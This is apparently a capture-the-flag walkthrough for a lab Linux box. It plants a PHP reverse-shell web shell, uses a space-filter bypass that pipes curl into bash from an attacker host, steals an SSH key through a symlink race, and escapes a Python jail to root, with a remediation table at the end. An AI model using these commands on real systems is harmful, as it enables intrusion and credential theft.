Break-Me CTF Walkthrough
Overview
Break-Me is a Linux CTF challenge featuring web parameter pollution, bash command injection via IFS variable manipulation, a SUID file descriptor TOCTOU race condition, and a Python restricted shell escape using Unicode NFKC normalization.

+---------------------------------------------------------------------------------------------------+
| ATTACK CHAIN ARCHITECTURE |
+---------------------------------------------------------------------------------------------------+
| |
| [Attacker System] |
| | |
| +---> [Reconnaissance: Nmap / Gobuster / WPScan] |
| | | |
| | v |
| +---> [Phase 1: WordPress Authentication (bob:soccer)] |
| | | |
| | v |
| +---> [Phase 2: Role Parameter Pollution (wpda_role[] -> Administrator)] |
| | | |
| | v |
| +---> [Phase 3: Theme Editor Web Shell Execution -> www-data Shell] |
| | |
| v |
| [Phase 4: ${IFS} Command Injection -> User: john] |
| | |
| v |
| [Phase 5: SUID TOCTOU Symlink Race -> User: youcef] |
| | |
| v |
| [Phase 6: Python NFKC Unicode Normalization Jail Escape -> Root] |
+---------------------------------------------------------------------------------------------------+
1. Reconnaissance and Enumeration
Port discovery via Nmap against target 10.49.146.128:
nmap -sV 10.49.146.128
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open http Apache httpd 2.4.56 ((Debian))
Web directory brute-forcing using Gobuster:
gobuster dir -u http://10.49.146.128:80/ -w common.txt
Found WordPress endpoint /wordpress/:
/manual (Status: 301) [Size: 315] [--> http://10.49.146.128/manual/]
/wordpress (Status: 301) [Size: 318] [--> http://10.49.146.128/wordpress/]

Running WPScan to identify accounts and versions:
wpscan --url http://10.49.146.128/wordpress --enumerate u
- WordPress Version: 6.4.3
- Accounts identified:
admin,bob
Brute-forcing account credentials with rockyou.txt:
wpscan --url http://10.49.146.128/wordpress -U usernames.txt -P rockyou.txt
Discovered credentials: bob:soccer.
2. Parameter Pollution Role Escalation
Logging in as bob provides low-privilege subscriber access. Intercepting the profile update request and appending &wpda_role[]=administrator exploits an HTTP Parameter Pollution vulnerability.
POST /wordpress/wp-admin/profile.php HTTP/1.1
Host: 10.49.146.128
Content-Type: application/x-www-form-urlencoded
user_id=3&nickname=bob&email=bob%40breakme.local&wpda_role[]=administrator

Low-Level Mechanics: HTTP Parameter Pollution (HPP)
HTTP Parameter Pollution occurs when an application receives multiple parameter keys or bracketed array representations (such as wpda_role[]). In PHP backend environments, query and request body parameters containing square brackets are automatically parsed into array data structures inside the $_POST superglobal.
When the profile update handler passes $_POST data directly to user capability functions (such as update_user_meta() or plugin-level role updating logic) without verifying whether the submitting user possesses edit_users permissions, the array payload overwrites the target user’s role mapping stored in the wp_usermeta database table under the wp_capabilities key. This elevates the subscriber account to administrator.
3. Web Shell Execution
With administrator access, navigate to Appearance -> Theme File Editor and edit functions.php:
<?php
system("bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'");
?>

Start a Netcat listener:
nc -lvnp 4444
Requesting http://10.49.146.128/wordpress/wp-content/themes/twentytwentyfour/functions.php triggers the reverse shell as www-data.
Stabilize the terminal:
python3 -c "import pty; pty.spawn('/bin/bash')"
export TERM=xterm-color
Enumerating /home shows local users john and youcef:

4. Command Injection via Bash $IFS Variable
Inspecting an internal script run by user john shows it filters space characters (0x20).


Low-Level Mechanics: POSIX Word Splitting and Lexical Processing
The POSIX standard defines the shell command execution lifecycle across distinct processing stages:
1. Tokenization -> 2. Parameter Expansion -> 3. Field Splitting -> 4. Pathname Expansion -> 5. Quote Removal
Input validation filters operating at step 1 (Tokenization) often look for literal space bytes (0x20). However, field splitting (step 3) processes unquoted results of parameter expansion using the IFS (Internal Field Separator) variable. By default, IFS contains <space><tab><newline> (\x20\x09\x0a).
When the variable expression ${IFS} is expanded, the field splitting algorithm evaluates each sequence of IFS characters as a token delimiter. This constructs discrete argument vectors (argv[0], argv[1], argv[2]) for system execution without transmitting literal 0x20 space bytes across the sanitization filter.

Stage a payload script payload.sh on the attacker host:
#!/bin/bash
bash -i >& /dev/tcp/ATTACKER_IP/2222 0>&1
Listener on port 2222:
nc -lvnp 2222
Submit command payload bypassing space filter:
|curl${IFS}http://ATTACKER_IP:8080/payload.sh|bash
Shell popped as user john. Read user 1 flag:
cat /home/john/user1.txt
# Output: 5c3ea0d312568c7ac68d213785b26677
5. SUID Binary TOCTOU Race Condition
The executable /home/youcef/readfile has the SUID bit set for user youcef (UID 1002).
Disassembling with objdump:
objdump -d -Mintel /home/youcef/readfile > readfile.asm
Reconstructed C source logic:
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <assert.h>
#include <fcntl.h>
#include <sys/stat.h>
int main(int argc, char* argv[])
{
int ExitCode;
__uid_t UserID;
struct stat StatusFile;
int canExecute;
int FileDescriptor;
int canRead;
int BytesReadInt;
char buffer[1024];
unsigned int mode;
char* FlagOccurence;
char* IdRsaOccurence;
ssize_t BytesRead;
if (argc == 2)
{
canExecute = access(argv[1], F_OK);
if (canExecute == 0)
{
UserID = getuid();
if (UserID == 1002)
{
FlagOccurence = strstr(argv[1], "flag");
IdRsaOccurence = strstr(argv[1], "id_rsa");
lstat(argv[1], &StatusFile);
mode = (unsigned int)S_ISLNK(StatusFile.st_mode);
canRead = access(argv[1], R_OK);
usleep(0);
if (((FlagOccurence == NULL) && (mode == 0) && (canRead != -1)) && (IdRsaOccurence == NULL))
{
printf("I guess you won!\n");
FileDescriptor = open(argv[1], O_RDONLY);
assert(FileDescriptor >= 0 && "Failed to open the file");
do {
BytesRead = read(FileDescriptor, buffer, 1024);
BytesReadInt = (int)BytesRead;
if (BytesRead < 1) break;
BytesRead = write(1, buffer, (long)BytesReadInt);
} while (BytesRead > 0);
ExitCode = 0;
}
else
{
printf("Nice Try!\n");
ExitCode = 1;
}
}
else
{
printf("You can\'t run this program\n");
ExitCode = 1;
}
}
else
{
printf("File Not Found\n");
ExitCode = 1;
}
}
else
{
printf("Usage: ./readfile <FILE>\n");
ExitCode = 1;
}
return ExitCode;
}
Low-Level Mechanics: TOCTOU Race Condition and VFS Lookup Discrepancies (CWE-367)
The vulnerability stems from an architectural flaw in how POSIX file verification system calls interact with setuid privilege boundaries and Linux Virtual File System (VFS) path evaluation:
- Real vs. Effective User ID Verification: The system call
access(path, mode)evaluates file permissions against the process’s Real User ID (getuid() == 1000), ignoring the Effective User ID (geteuid() == 1002). If an attacker directly requests/home/youcef/.ssh/id_rsa,access()fails becausejohn(UID1000) lacks read access. - Path Name Validation and Symlink Checks: The code checks whether
argv[1]contains the strings"flag"or"id_rsa", and useslstat(argv[1], &StatusFile)to inspect the inode mode (StatusFile.st_mode & S_IFMT).lstat()does not resolve symbolic links. Whenargv[1]points to a standard file namedkey, all checks pass. - Temporal Gap and Context Switch Window: The binary invokes
usleep(0), forcing an explicit system context switch and yielding the CPU execution slice to the kernel scheduler. - File Open Elevation: When
open(argv[1], O_RDONLY)is called, the kernel resolves the path using the process’s Effective User ID (geteuid() == 1002). If the filekeywas replaced during the sleep interval with a symbolic link to/home/youcef/.ssh/id_rsa,open()dereferences the link underyoucefpermissions, creating an open file descriptor to the restricted target.
+---------------------------------------------------------------------------------------------------+
| TOCTOU RACE CONDITION TIMELINE |
+---------------------------------------------------------------------------------------------------+
| |
| Attacker Symlink Loop SUID Binary /home/youcef/readfile |
| --------------------- --------------------------------- |
| |
| 1. Create normal file 'key' ----> 2. access("key", F_OK) -> Valid (Real UID 1000) |
| 3. lstat("key") -> Regular File (st_mode) |
| 4. rm key && ln -sf /path/id_rsa key ====> 5. usleep(0) [SCHEDULER CONTEXT SWITCH WINDOW] |
| 6. open("key", O_RDONLY) |
| [VFS dereferences link using Effective 1002] |
| 7. read() & write() output private key bytes |
| |
+---------------------------------------------------------------------------------------------------+
Exploitation
Run a continuous symlink replacement loop in the background:
while true; do ln -sf /home/youcef/.ssh/id_rsa key; rm key; touch key; done &
Run readfile repeatedly until the race window hits:
for i in {1..50}; do /home/youcef/readfile key; done
Result: Extracted youcef SSH private key (id_rsa). Save to id_rsa and restrict permissions:
chmod 600 id_rsa
Patch Python 3 hex conversion in /usr/bin/ssh2john:


Extract and crack SSH key passphrase with john:
ssh2john id_rsa > id_rsa_hash
john id_rsa_hash --wordlist=rockyou.txt
Cracked passphrase: a123456.
Log in via SSH as youcef and read user 2 flag:
ssh -i id_rsa youcef@10.49.146.128
cat /home/youcef/.user2.txt
# Output: df5b1b7f4f74a416ae27673b22633c1b
6. Root Escalation via Python NFKC Unicode Normalization
Checking sudo permissions for youcef:
sudo -l

User youcef may run the following commands on breakme:
(root) NOPASSWD: /usr/bin/python3 /root/jail.py
Inspect /root/jail.py: Filters spaces and standard ASCII string patterns (import, os, system, breakpoint).
Low-Level Mechanics: Python 3 Identifier Normalization (PEP 3131 & NFKC)
PEP 3131 introduced non-ASCII identifier support to the Python language parser. Under the Python lexical specification, source code text is normalized using Unicode Normalization Form Compatibility Decomposition, followed by Canonical Composition (NFKC) prior to Abstract Syntax Tree (AST) compilation.
The NFKC algorithm transforms formatting variants, mathematical symbols, and fullwidth characters into standard compatibility representations:
Mathematical Italic '𝘣' (U+1D41B) -> NFKC Normalization -> Standard ASCII 'b' (U+0062)
Mathematical Italic '𝘳' (U+1D45F) -> NFKC Normalization -> Standard ASCII 'r' (U+0072)
Mathematical Italic '𝘦' (U+1D452) -> NFKC Normalization -> Standard ASCII 'e' (U+0065)
...
Input String: 𝘣𝘳𝘦𝘢𝘬𝘱𝘰𝘪𝘯𝘵() -> Parsed AST Token: breakpoint()
If security filters scan raw string byte sequences prior to NFKC decomposition (if 'breakpoint' in user_input:), the filter checks standard ASCII codepoints (U+0061 to U+007A) and permits non-ASCII Unicode strings.
When Python executes the validated input, the compiler applies NFKC normalization, turning 𝘣𝘳𝘦𝘢𝘬𝘱𝘰𝘪𝘯𝘵() into standard ASCII breakpoint(). PEP 553 defines built-in breakpoint(), which calls sys.breakpointhook(), opening an interactive PDB (Python Debugger) terminal within root process context.
+---------------------------------------------------------------------------------------------------+
| PYTHON UNICODE NORMALIZATION PIPELINE |
+---------------------------------------------------------------------------------------------------+
| |
| Attacker Input: 𝘣𝘳𝘦𝘢𝘬𝘱𝘰𝘪𝘯𝘵() (Mathematical Italic Unicode: U+1D41B U+1D45F U+1D452...) |
| | |
| v |
| [Jail Filter Check] -> Evaluates ASCII codepoints, passes non-ASCII Unicode |
| | |
| v |
| [Python Compiler Lexer] -> Performs NFKC Normalization Form Compatibility Decomposition |
| | |
| v |
| [AST Construction] -> Normalized to standard ASCII: breakpoint() |
| | |
| v |
| [Execution Engine] -> Invokes sys.breakpointhook() -> Interactive PDB Debugger Shell |
| | |
| v |
| [PDB Terminal Context] -> import os; os.system('/bin/bash') -> Interactive Root Shell |
+---------------------------------------------------------------------------------------------------+
Exploitation
Execute jail.py with sudo:
sudo /usr/bin/python3 /root/jail.py
Submit Unicode payload:
𝘣𝘳𝘦𝘢𝘬𝘱𝘰𝘪𝘯𝘵()
Python normalizes 𝘣𝘳𝘦𝘢𝘬𝘱𝘰𝘪𝘯𝘵() to breakpoint(), triggering the pdb debugger prompt.
From inside pdb, execute:
(Pdb) import os; os.system('/bin/bash')

Root flag retrieved:
cat /root/root.txt
# Output: e257d58481412f8772e9fb9fd47d8ca4
Remediation Summary
| Vulnerability | Root Cause | Fix |
|---|---|---|
| WordPress Parameter Pollution | Unvalidated parameter array parsing | Enforce schema validation on role assignment parameters |
Command Injection via $IFS |
Shell string concatenation | Use parameterized execution interfaces (execve) |
| SUID TOCTOU Race | Non-atomic path checking before opening | Use file descriptors (openat, fstat) for atomic validation |
| Python Jail Unicode Bypass | Filtering raw input before NFKC normalization | Normalize input with unicodedata.normalize('NFKC', input) before filtering |
References
- CWE-367: Time-of-Check to Time-of-Use (TOCTOU) Race Condition
https://cwe.mitre.org/data/definitions/367.html - CWE-78: OS Command Injection
https://cwe.mitre.org/data/definitions/78.html - CWE-176: Unicode Encoding Handling
https://cwe.mitre.org/data/definitions/176.html - Unicode Standard Annex #15: Unicode Normalization Forms
https://unicode.org/reports/tr15/ - POSIX.1-2017: Shell Word Splitting (
IFS)
https://pubs.opengroup.org/onlinepubs/9699919799/utilities/V3_chap02.html#tag_18_06_05 - PEP 553: Built-in
breakpoint()
https://peps.python.org/pep-0553/
Discussion (0)
Leave a Comment